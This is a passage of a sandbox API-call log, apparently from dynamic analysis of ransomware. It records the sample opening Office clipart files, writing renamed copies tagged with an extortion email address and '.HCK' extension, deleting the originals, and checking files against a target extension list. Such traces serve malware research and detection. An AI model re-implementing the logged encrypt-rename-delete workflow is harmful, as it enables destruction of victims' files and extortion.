lpOverlapped=0x0) returned 1 [0179.121] SetEndOfFile (hFile=0x300) returned 1 [0179.121] CloseHandle (hObject=0x300) returned 1 [0179.122] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.122] SetEndOfFile (hFile=0x2fc) returned 1 [0179.124] CloseHandle (hObject=0x2fc) returned 1 [0179.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf")) returned 1 [0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.129] lstrlenW (lpString=".doc") returned 4 [0179.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.129] lstrlenW (lpString=".docx") returned 5 [0179.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.129] lstrlenW (lpString=".pdf") returned 4 [0179.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.129] lstrlenW (lpString=".xls") returned 4 [0179.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.129] lstrlenW (lpString=".xlsx") returned 5 [0179.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.129] lstrlenW (lpString=".ppt") returned 4 [0179.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.129] lstrlenW (lpString=".zip") returned 4 [0179.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.129] lstrlenW (lpString=".rar") returned 4 [0179.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.129] lstrlenW (lpString=".bz2") returned 4 [0179.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.129] lstrlenW (lpString=".7z") returned 3 [0179.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.129] lstrlenW (lpString=".dbf") returned 4 [0179.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString=".1cd") returned 4 [0179.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString=".jpg") returned 4 [0179.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString=".doc") returned 4 [0179.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString=".docx") returned 5 [0179.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.130] lstrlenW (lpString=".pdf") returned 4 [0179.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString=".xls") returned 4 [0179.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.130] lstrlenW (lpString=".xlsx") returned 5 [0179.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.130] lstrlenW (lpString=".ppt") returned 4 [0179.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString=".zip") returned 4 [0179.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.130] lstrlenW (lpString=".rar") returned 4 [0179.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString=".bz2") returned 4 [0179.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString=".7z") returned 3 [0179.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString=".dbf") returned 4 [0179.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString=".1cd") returned 4 [0179.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF") returned 68 [0179.130] lstrlenW (lpString=".jpg") returned 4 [0179.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.130] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.130] lstrlenW (lpString="PE00608_.WMF") returned 12 [0179.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.134] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6440) returned 1 [0179.134] CloseHandle (hObject=0x2fc) returned 1 [0179.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf")) returned 0x220 [0179.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.142] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.142] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.146] GetLastError () returned 0x0 [0179.146] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1928, lpOverlapped=0x0) returned 1 [0179.147] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1930, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1930, lpOverlapped=0x0) returned 1 [0179.148] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.148] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.148] SetEndOfFile (hFile=0x2fc) returned 1 [0179.149] CloseHandle (hObject=0x2fc) returned 1 [0179.149] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.149] SetEndOfFile (hFile=0x370) returned 1 [0179.156] CloseHandle (hObject=0x370) returned 1 [0179.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00608_.wmf")) returned 1 [0179.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.160] lstrlenW (lpString=".doc") returned 4 [0179.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.160] lstrlenW (lpString=".docx") returned 5 [0179.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.161] lstrlenW (lpString=".pdf") returned 4 [0179.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString=".xls") returned 4 [0179.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.161] lstrlenW (lpString=".xlsx") returned 5 [0179.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.161] lstrlenW (lpString=".ppt") returned 4 [0179.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.161] lstrlenW (lpString=".zip") returned 4 [0179.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.161] lstrlenW (lpString=".rar") returned 4 [0179.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString=".bz2") returned 4 [0179.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString=".7z") returned 3 [0179.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.161] lstrlenW (lpString=".dbf") returned 4 [0179.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.161] lstrlenW (lpString=".1cd") returned 4 [0179.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.161] lstrlenW (lpString=".jpg") returned 4 [0179.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.161] lstrlenW (lpString=".doc") returned 4 [0179.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString=".docx") returned 5 [0179.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.161] lstrlenW (lpString=".pdf") returned 4 [0179.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString=".xls") returned 4 [0179.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.161] lstrlenW (lpString=".xlsx") returned 5 [0179.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.161] lstrlenW (lpString=".ppt") returned 4 [0179.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.161] lstrlenW (lpString=".zip") returned 4 [0179.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.161] lstrlenW (lpString=".rar") returned 4 [0179.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.162] lstrlenW (lpString=".bz2") returned 4 [0179.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.162] lstrlenW (lpString=".7z") returned 3 [0179.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.162] lstrlenW (lpString=".dbf") returned 4 [0179.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.162] lstrlenW (lpString=".1cd") returned 4 [0179.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 68 [0179.162] lstrlenW (lpString=".jpg") returned 4 [0179.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.162] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.162] lstrlenW (lpString="PE00686_.WMF") returned 12 [0179.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.165] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4398) returned 1 [0179.165] CloseHandle (hObject=0x2fc) returned 1 [0179.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf")) returned 0x220 [0179.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.171] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.172] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.175] GetLastError () returned 0x0 [0179.175] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x112e, lpOverlapped=0x0) returned 1 [0179.176] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1130, lpOverlapped=0x0) returned 1 [0179.177] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.177] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.177] SetEndOfFile (hFile=0x370) returned 1 [0179.178] CloseHandle (hObject=0x370) returned 1 [0179.180] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.180] SetEndOfFile (hFile=0x2fc) returned 1 [0179.184] CloseHandle (hObject=0x2fc) returned 1 [0179.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf")) returned 1 [0179.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.188] lstrlenW (lpString=".doc") returned 4 [0179.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.188] lstrlenW (lpString=".docx") returned 5 [0179.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.188] lstrlenW (lpString=".pdf") returned 4 [0179.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.188] lstrlenW (lpString=".xls") returned 4 [0179.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.188] lstrlenW (lpString=".xlsx") returned 5 [0179.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.188] lstrlenW (lpString=".ppt") returned 4 [0179.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.188] lstrlenW (lpString=".zip") returned 4 [0179.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.188] lstrlenW (lpString=".rar") returned 4 [0179.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.188] lstrlenW (lpString=".bz2") returned 4 [0179.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.188] lstrlenW (lpString=".7z") returned 3 [0179.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.188] lstrlenW (lpString=".dbf") returned 4 [0179.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString=".1cd") returned 4 [0179.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString=".jpg") returned 4 [0179.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString=".doc") returned 4 [0179.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString=".docx") returned 5 [0179.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.189] lstrlenW (lpString=".pdf") returned 4 [0179.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString=".xls") returned 4 [0179.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.189] lstrlenW (lpString=".xlsx") returned 5 [0179.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.189] lstrlenW (lpString=".ppt") returned 4 [0179.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString=".zip") returned 4 [0179.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.189] lstrlenW (lpString=".rar") returned 4 [0179.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString=".bz2") returned 4 [0179.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString=".7z") returned 3 [0179.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString=".dbf") returned 4 [0179.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString=".1cd") returned 4 [0179.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 68 [0179.189] lstrlenW (lpString=".jpg") returned 4 [0179.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.189] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.189] lstrlenW (lpString="PE00726_.WMF") returned 12 [0179.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.190] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=45476) returned 1 [0179.190] CloseHandle (hObject=0x368) returned 1 [0179.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf")) returned 0x220 [0179.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.194] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.194] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.196] GetLastError () returned 0x0 [0179.196] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb1a4, lpOverlapped=0x0) returned 1 [0179.199] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb1b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb1b0, lpOverlapped=0x0) returned 1 [0179.200] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.200] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.200] SetEndOfFile (hFile=0x368) returned 1 [0179.202] CloseHandle (hObject=0x368) returned 1 [0179.203] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.203] SetEndOfFile (hFile=0x370) returned 1 [0179.205] CloseHandle (hObject=0x370) returned 1 [0179.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 